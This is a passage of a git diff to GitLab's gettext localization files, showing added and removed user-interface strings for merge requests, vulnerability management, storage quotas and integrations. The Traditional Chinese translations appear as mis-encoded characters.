msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36787,9 +37401,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -36823,18 +37434,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -36880,9 +37479,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37075,9 +37671,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37381,9 +37974,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37609,6 +38199,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr "已驗證"
@@ -37633,6 +38235,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37728,6 +38333,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -37837,6 +38445,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -37849,9 +38460,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -37867,6 +38475,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -37876,7 +38487,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -37888,6 +38502,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -37912,9 +38529,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -37927,10 +38550,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38104,7 +38727,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38410,6 +39033,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38422,7 +39048,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38594,6 +39220,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38603,7 +39235,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38717,6 +39349,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -38990,13 +39625,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once the items above are resolved."
-msgstr ""
-
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39032,6 +39664,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39062,12 +39697,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39119,6 +39760,10 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39167,6 +39812,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39302,9 +39950,6 @@ msgstr "åªæŽ¥æ”¶è©•è«–中æåŠ(@)您的通知"
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39389,7 +40034,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39455,6 +40100,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39647,6 +40298,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39660,15 +40314,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39678,6 +40326,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39742,9 +40393,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -39839,6 +40487,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -39872,9 +40523,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40044,6 +40692,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40053,6 +40704,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40075,6 +40729,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40111,6 +40768,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40476,21 +41136,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40642,9 +41290,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40673,13 +41318,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40691,6 +41336,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40709,9 +41357,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40754,9 +41399,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -40788,6 +41430,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -40797,12 +41442,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -40837,21 +41488,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -40864,6 +41530,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -40903,9 +41578,6 @@ msgstr "請求åˆä½µ"
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -40936,9 +41608,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -40954,39 +41623,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
-msgstr ""
-
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41145,6 +41805,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41322,9 +41994,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41349,6 +42018,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/zh_TW/gitlab.po b/locale/zh_TW/gitlab.po
index f6346a983e9..8e2bcc9a252 100644
--- a/locale/zh_TW/gitlab.po
+++ b/locale/zh_TW/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: zh-TW\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:38\n"
+"PO-Revision-Date: 2021-12-06 18:56\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr "「%{ref}ã€ä¸Šæ²’有「%{path}ã€"
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -207,6 +204,10 @@ msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] "%d 個確定的測試çµæžœ"
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -247,6 +248,10 @@ msgid "%d merge request that you don't have access to."
msgid_plural "%d merge requests that you don't have access to."
msgstr[0] "%d 個您無法存å–çš„åˆä½µè«‹æ±‚。"
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] "%d 個指標"
@@ -299,6 +304,10 @@ msgid "%d shard selected"
msgid_plural "%d shards selected"
msgstr[0] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] "%d 個標籤"
@@ -342,6 +351,12 @@ msgstr[0] "為é¿å…效能å•é¡Œï¼Œå·²éš±è— %s 次é¡å¤–æ交。"
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr "%{actionText} 和 %{openOrClose} %{noteable}"
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -413,6 +428,10 @@ msgstr[0] "éœ€è¦ %{name} çš„ %{count} 個核准"
msgid "%{count} approvals from %{name}"
msgstr "來自 %{name} 的 %{count} 個核准"
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+
msgid "%{count} files touched"
msgstr "å·²é¸æ“‡ %{count} 個檔案"
@@ -632,7 +651,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -686,6 +705,9 @@ msgstr "%{name} 找到了 %{resultsString}"
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -717,9 +739,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr "%{openOrClose} %{noteable}"
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr "%{openedEpics} 個開放,%{closedEpics} 個關閉"
@@ -744,6 +763,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr "%{primary} (%{secondary})"
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -775,6 +797,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -819,9 +844,6 @@ msgstr "%{spanStart}æ–¼%{spanEnd} %{errorFn}"
msgid "%{start} to %{end}"
msgstr "%{start} 到 %{end}"
-msgid "%{state} epics"
-msgstr "%{state} å²è©©"
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -913,6 +935,9 @@ msgstr "%{total} 開放議題權é‡"
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr "%{userName} (無法åˆä½µ)"
@@ -1043,6 +1068,10 @@ msgstr "(已刪除)"
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+
msgid "(this user)"
msgstr ""
@@ -1052,6 +1081,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr "+ 其餘 %{amount} 項"
@@ -1089,6 +1121,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr "ã€æˆ– "
@@ -1369,9 +1404,6 @@ msgstr "%{name} 的新版本 %{tag} å·²ç¶“ç™¼å¸ƒã€‚è«‹å­˜å– %{release_link_star
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr "%{name} 的新版本 %{tag} 已經發布。請存å–發布版é é¢äº†è§£æ›´å¤šè³‡è¨Šã€‚"
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr "å°‡åœ¨åˆ†å‰ (fork) 專案中中建立新分支,並開啟新的åˆä½µè«‹æ±‚。"
-
msgid "A new impersonation token has been created."
msgstr "已建立新的身份模擬權æ–。"
@@ -1408,9 +1440,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1459,9 +1488,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1597,9 +1623,6 @@ msgstr "å­˜å–憑證"
msgid "Access denied for your LDAP account."
msgstr "å­˜å–您的 LDAP 帳號時被拒絕。"
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr "å­˜å–被拒ï¼è«‹æª¢æŸ¥æ‚¨æ˜¯å¦å¯ä»¥åœ¨æ­¤ç‰ˆæœ¬åº«éƒ¨å±¬é‡‘鑰。"
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1846,12 +1869,18 @@ msgstr "加入編號列表"
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr "加入表格"
msgid "Add a task list"
msgstr "加入作業列表"
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -1894,6 +1923,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1936,9 +1971,6 @@ msgstr "新增應用程å¼"
msgid "Add new directory"
msgstr "新增目錄"
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2008,6 +2040,9 @@ msgstr "å‘群組加入使用者"
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr "加入 Webhook"
@@ -2053,9 +2088,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr "å·²å‘å²è©©åŠ å…¥è­°é¡Œã€‚"
-msgid "Added at"
-msgstr "加入時間"
-
msgid "Added for this merge request"
msgstr ""
@@ -2098,8 +2130,8 @@ msgstr "加入 %{epic_ref} 作為å­å²è©©ã€‚"
msgid "Adds %{labels} %{label_text}."
msgstr "加入 %{labels}%{label_text}。"
-msgid "Adds a Zoom meeting"
-msgstr "加入 Zoom 會議"
+msgid "Adds a Zoom meeting."
+msgstr ""
msgid "Adds a to do."
msgstr ""
@@ -2107,7 +2139,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr "å‘å²è©©åŠ å…¥è­°é¡Œã€‚"
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2203,6 +2235,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2269,7 +2304,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr "載入統計資料時發生錯誤。請å†è©¦ä¸€æ¬¡"
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2806,19 +2841,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
